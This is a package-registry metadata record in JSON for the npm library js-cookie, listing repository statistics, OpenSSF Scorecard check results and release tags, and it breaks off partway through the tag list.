{"id":1902682,"name":"js-cookie","ecosystem":"npm","description":"A simple, lightweight JavaScript API for handling cookies","homepage":"https://github.com/js-cookie/js-cookie#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/js-cookie/js-cookie","keywords_array":["cookie","cookies","browser","amd","commonjs","client","js-cookie"],"namespace":null,"versions_count":35,"first_release_published_at":"2015-04-15T16:36:50.430Z","latest_release_published_at":"2026-05-29T10:51:39.065Z","latest_release_number":"3.0.8","latest_published_release_number":"3.0.8","last_synced_at":"2026-11-02T09:18:04.963Z","created_at":"2022-04-09T18:07:30.419Z","updated_at":"2026-11-02T09:18:04.963Z","registry_url":"https://www.npmjs.com/package/js-cookie","install_command":"npm install js-cookie","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"beta":"3.0.0-beta.4","rc":"3.0.0-rc.4","latest":"3.0.8"},"contentPolicy":null,"repository":{"type":"git","url":"git://github.com/js-cookie/js-cookie.git"}},"repo_metadata":{"id":29004502,"uuid":"32531480","full_name":"js-cookie/js-cookie","owner":"js-cookie","description":"A simple, lightweight JavaScript API for handling cookies, client-side.","archived":false,"fork":false,"pushed_at":"2026-10-23T21:33:01.000Z","size":2379,"stargazers_count":22570,"open_issues_count":10,"forks_count":2044,"subscribers_count":327,"default_branch":"main","last_synced_at":"2026-10-25T04:27:10.901Z","etag":null,"topics":["cookie","javascript"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/js-cookie.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2015-03-19T15:57:47.000Z","updated_at":"2026-10-25T02:08:41.000Z","dependencies_parsed_at":"2026-09-18T04:40:51.124Z","dependency_job_id":null,"html_url":"https://github.com/js-cookie/js-cookie","commit_stats":{"total_commits":801,"total_committers":62,"mean_commits":"12.919354838709678","dds":0.4581772784019975,"last_synced_commit":"ab3f67fc4fad88cdf07b258c08e4164e06bf7506"},"previous_names":[],"tags_count":39,"template":false,"template_full_name":null,"purl":"pkg:github/js-cookie/js-cookie","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/js-cookie","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/sbom","scorecard":{"id":537258,"data":{"date":"2025-08-11","repo":{"name":"github.com/js-cookie/js-cookie","commit":"edde046cb9c7f3516aa3603c9cbe1fd505f83090"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.3,"checks":[{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":1,"reason":"Found 2/15 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"1 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:24","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":3,"reason":"dependency not pinned by hash detected -- score normalized to 3","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale-bot.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/js-cookie/js-cookie/stale-bot.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:1: pin your Docker image by updating mcr.microsoft.com/devcontainers/javascript-node:0-18 to mcr.microsoft.com/devcontainers/javascript-node:0-18@sha256:ed57dd8755b4e75a0426bd10ab1d3a60a22bb21fc2e093801375990978c42fb5","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:43","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:80","Warn: npmCommand not pinned by hash: .github/workflows/release.yml:39","Warn: npmCommand not pinned by hash: .github/workflows/release.yml:40","Info:   0 out of   7 GitHub-owned GitHubAction dependencies pinned","Info:   4 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of   4 npmCommand dependencies pinned","Info:   0 out of   1 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v3.0.4 not signed: https://api.github.com/repos/js-cookie/js-cookie/releases/100374183","Warn: release artifact v3.0.1 not signed: https://api.github.com/repos/js-cookie/js-cookie/releases/48806796","Warn: release artifact v3.0.0 not signed: https://api.github.com/repos/js-cookie/js-cookie/releases/46783025","Warn: release artifact v3.0.0-rc.4 not signed: https://api.github.com/repos/js-cookie/js-cookie/releases/46313767","Warn: release artifact v3.0.4 does not have provenance: https://api.github.com/repos/js-cookie/js-cookie/releases/100374183","Warn: release artifact v3.0.1 does not have provenance: https://api.github.com/repos/js-cookie/js-cookie/releases/48806796","Warn: release artifact v3.0.0 does not have provenance: https://api.github.com/repos/js-cookie/js-cookie/releases/46783025","Warn: release artifact v3.0.0-rc.4 does not have provenance: https://api.github.com/repos/js-cookie/js-cookie/releases/46313767"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 17 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-20T07:18:16.531Z","repository_id":29004502,"created_at":"2025-08-20T07:18:16.531Z","updated_at":"2025-08-20T07:18:16.531Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":345237552,"owners_count":38503196,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-25T02:00:07.705Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"js-cookie","name":"js-cookie","uuid":"11557446","kind":"organization","description":"Cookies handling made easy","email":null,"website":"https://github.com/js-cookie/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/11557446?v=4","repositories_count":3,"last_synced_at":"2026-10-25T10:48:14.069Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/js-cookie","funding_links":[],"total_stars":22636,"followers":55,"following":0,"created_at":"2022-11-02T16:24:43.823Z","updated_at":"2026-10-25T10:48:14.083Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/js-cookie","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/js-cookie/repositories"},"tags":[{"name":"latest","sha":"d7a10966e3f2cbcbfa96e34e7544d23aab9e3372","kind":"tag","published_at":"2026-05-29T10:51:48.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/latest","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/latest","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@latest","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/latest","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/latest/manifests"},{"name":"v3.0.8","sha":"d7a10966e3f2cbcbfa96e34e7544d23aab9e3372","kind":"tag","published_at":"2026-05-29T10:51:44.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.8","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.8/manifests"},{"name":"v3.0.7","sha":"17bacba0171dd022728d8fdeba3203c60791bf58","kind":"tag","published_at":"2026-05-16T05:26:00.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.7","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.7/manifests"},{"name":"v3.0.5","sha":"ab3f67fc4fad88cdf07b258c08e4164e06bf7506","kind":"tag","published_at":"2023-04-24T09:23:52.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.5","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"97dca933b686c0b9b7b6f74189780854e9aa5822","kind":"tag","published_at":"2023-04-21T18:36:23.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.4","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.4/manifests"},{"name":"v3.0.1","sha":"0ba77141dd215782cc7770347a457906908c66ff","kind":"tag","published_at":"2021-09-01T10:42:42.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"ea3239ac98cb0269746563092f9e3662a7b20ad3","kind":"tag","published_at":"2021-07-26T17:02:59.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0/manifests"},{"name":"v3.0.0-rc.4","sha":"f973578cc9d0f86ca6499e8734fc2bdbc7326199","kind":"tag","published_at":"2021-07-16T11:53:50.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-rc.4","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-rc.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-rc.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.4/manifests"},{"name":"v3.0.0-rc.3","sha":"5ed1ab610cc4ff53bbbf30b27ef4304de74a3615","kind":"tag","published_at":"2021-07-15T07:56:36.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-rc.3","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.3/manifests"},{"name":"v3.0.0-rc.2","sha":"7cc5c43f5235d6eb19e7ad9c871543c033795aa8","kind":"tag","published_at":"2021-07-14T04:38:33.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-rc.2","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.2/manifests"},{"name":"v3.0.0-rc.1","sha":"eceefcc0be5bcb07d6ca32b03978e2c6f8cc848e","kind":"tag","published_at":"2020-09-08T13:09:39.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-rc.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.1/manifests"},{"name":"v3.0.0-rc.0","sha":"5198674f45861adde9c9a2c29d7314ed0b76aece","kind":"tag","published_at":"2020-03-11T13:52:09.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-rc.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-rc.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-rc.0/manifests"},{"name":"v3.0.0-beta.4","sha":"40c95a94cb99d3afb65ca4ad60d46108732172a7","kind":"tag","published_at":"2020-03-05T11:19:39.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-beta.4","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.4/manifests"},{"name":"v3.0.0-beta.3","sha":"42416e8418d24c96de74e97d36db25acbc1444e7","kind":"tag","published_at":"2019-12-20T12:41:22.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-beta.3","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.3/manifests"},{"name":"v3.0.0-beta.2","sha":"099389f0161e5a8ed74033d432be9e6be9e19e00","kind":"tag","published_at":"2019-12-12T19:20:42.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-beta.2","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.2/manifests"},{"name":"v3.0.0-beta.1","sha":"f1d58ca9bb6c6321e270740922e8f9b9325d1fb3","kind":"tag","published_at":"2019-12-11T10:47:29.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-beta.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.1/manifests"},{"name":"v3.0.0-beta.0","sha":"c85ee95eded7648d4e85d95ec5f1898439fe87b1","kind":"tag","published_at":"2019-10-05T12:40:34.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v3.0.0-beta.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v3.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v3.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v3.0.0-beta.0/manifests"},{"name":"v2.2.1","sha":"54962f884e9ae33f93e13ac903ffaf1d5a523598","kind":"commit","published_at":"2019-08-06T13:04:06.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.2.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"34f056cd261982828072b84a9bbdcd8c3d9931ad","kind":"commit","published_at":"2017-10-28T05:47:55.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.2.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.2.0/manifests"},{"name":"v2.1.4","sha":"8b70250875f7e07445b6a457f9c2474ead4cba44","kind":"commit","published_at":"2017-04-03T11:32:24.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.1.4","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"68acf18560eb7a5d21db7197ae24d975971d1ae0","kind":"commit","published_at":"2016-09-02T03:58:54.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.1.3","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"8bb6144bc6efd3ccf95af29dd8ed67fcfe33eaa7","kind":"commit","published_at":"2016-05-29T05:55:01.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.1.2","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"5c830fb71a2bd3acce9cb733d692e13316991891","kind":"commit","published_at":"2016-04-16T09:27:16.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.1.1","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"788bde34ed7d8c63c245bb3f7028242e1d1b37c1","kind":"tag","published_at":"2015-12-31T11:32:17.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.1.0","html_url":"https://github.com/js-cookie/js-cookie/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/js-cookie/js-cookie@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/js-cookie%2Fjs-cookie/tags/v2.1.0/manifests"},{"name":"v2.0.4","sha":"605b12c6fae112bd484bfa005f144c82872e2a90","kind":"tag","published_at":"2015-10-17T18:09:40.000Z","download_url":"https://codeload.github.com/js-cookie/js-cookie/tar.gz/v2.0.4","html_url":"https://github.com/js-coo